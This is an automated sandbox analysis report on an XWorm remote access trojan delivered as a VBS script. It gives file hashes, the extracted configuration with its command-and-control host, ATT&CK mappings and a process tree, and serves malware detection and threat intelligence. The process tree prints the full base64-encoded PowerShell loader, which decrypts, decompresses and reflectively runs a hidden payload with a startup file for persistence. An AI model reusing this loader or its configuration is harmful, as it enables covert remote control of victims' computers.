xworm | 70459c4985da2c11b2baa8b746c86e4cd031470d1c216b2c13b87763c4485647

General

Target

70459c4985da2c11b2baa8b746c86e4cd031470d1c216b2c13b87763c4485647.vbs
Size

72KB
MD5

f2a4031c9fcc69f1bc32eb62b35651bb
SHA1

b97f66f3c831d887c8e1e3e4ca209784262b5c23
SHA256

70459c4985da2c11b2baa8b746c86e4cd031470d1c216b2c13b87763c4485647
SHA512

7e50b481b4268f474e5ab387c00221d0b29eea79cfbb7a025ddd6cf01aea397c626478b0af94d4ec6d0631fe65f9b331581511060d61c23474066fd665f6b0e6
SSDEEP

1536:bdW0MXa09sT3o202+TpydNFMLSEGgcX4XTA66Mrhrpj:bds9DfTpUcfj9pj

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

tripplebanks.duckdns.org:3399

Mutex

bppouzbV7pFA6n72

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/208-23-0x00000275617C0000-0x00000275617D0000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	208	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
208	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1479699283-3000499823-2337359760-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_520256dc.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_520256dc.cmd	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
208	powershell.exe
208	powershell.exe
208	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	208	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
208	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2052 wrote to memory of 3468	2052	WScript.exe	83
PID 2052 wrote to memory of 3468	2052	WScript.exe	83
PID 3468 wrote to memory of 5092	3468	cmd.exe	85
PID 3468 wrote to memory of 5092	3468	cmd.exe	85
PID 5092 wrote to memory of 208	5092	cmd.exe	88
PID 5092 wrote to memory of 208	5092	cmd.exe	88

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\70459c4985da2c11b2baa8b746c86e4cd031470d1c216b2c13b87763c4485647.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9TGXY.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\9TGXY.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskcnBidHkgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHJwYnR5KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRycGJ0eSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRycGJ0eSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkcnBidHkiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24ga3dzcmMoJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2E1aElwVlZkMEFLdWNZeWVzMUxmbzcrb0M2NUhJVmZ4aHpGQk9yS0ZBcnc9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3pTdDI5dEpLUVVJNnJGbEUrSGtZOWc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gc3dxeWsoJHBhcmFtX3Zhcil7CSRxdm5uZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkandlZWQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkZm5vZmw9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkcXZubmQsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJGZub2ZsLkNvcHlUbygkandlZWQpOwkkZm5vZmwuRGlzcG9zZSgpOwkkcXZubmQuRGlzcG9zZSgpOwkkandlZWQuRGlzcG9zZSgpOwkkandlZWQuVG9BcnJheSgpO31mdW5jdGlvbiByd3FmaigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHd6b3JtPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGtpYnZhPSR3em9ybS5FbnRyeVBvaW50Owkka2lidmEuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHJwYnR5OyR1dG53bT1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHJwYnR5KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbWZlIGluICR1dG53bSkgewlpZiAoJG1mZS5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHpkZndoPSRtZmUuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHJqcnNpPVtzdHJpbmdbXV0kemRmd2guU3BsaXQoJ1wnKTskd2pobHg9c3dxeWsgKGt3c3JjIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHJqcnNpWzBdKSkpOyR1emh5bj1zd3F5ayAoa3dzcmMgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcmpyc2lbMV0pKSk7cndxZmogJHdqaGx4ICRudWxsO3J3cWZqICR1emh5biAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops startup file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:208

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9TGXY.bat

Filesize
64KB

MD5
e97445f2bbbab34630abb7a04469cb45

SHA1
5b792df1ebd57ce2a8495cbd654a4796f39f40d2

SHA256
508d310faa39b95dd9cfd340dd0e40822675b8b80efafce1b8cd56d764bfc431

SHA512
7dc0d816065d1f41cb30aff323b3d2c87e02cecfedd97de9f37e4f3a9bf5079b7d0452b100b7e8b7c108abff9c2ec2079b59a023ec2f87d344ffc2e53b1d6165

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vpbabbvz.u4t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/208-6-0x00007FF819B83000-0x00007FF819B85000-memory.dmp

Filesize
8KB

Download
memory/208-7-0x0000027549600000-0x0000027549622000-memory.dmp

Filesize
136KB

Download
memory/208-17-0x00007FF819B80000-0x00007FF81A641000-memory.dmp

Filesize
10.8MB

Download
memory/208-18-0x00007FF819B80000-0x00007FF81A641000-memory.dmp

Filesize
10.8MB

Download
memory/208-20-0x00000275494A0000-0x00000275494A8000-memory.dmp

Filesize
32KB

Download
memory/208-21-0x00000275494C0000-0x00000275494CE000-memory.dmp

Filesize
56KB

Download
memory/208-23-0x00000275617C0000-0x00000275617D0000-memory.dmp

Filesize
64KB

Download
memory/208-24-0x00007FF819B83000-0x00007FF819B85000-memory.dmp

Filesize
8KB

Download
memory/208-25-0x00007FF819B80000-0x00007FF81A641000-memory.dmp

Filesize
10.8MB

Download

Analysis

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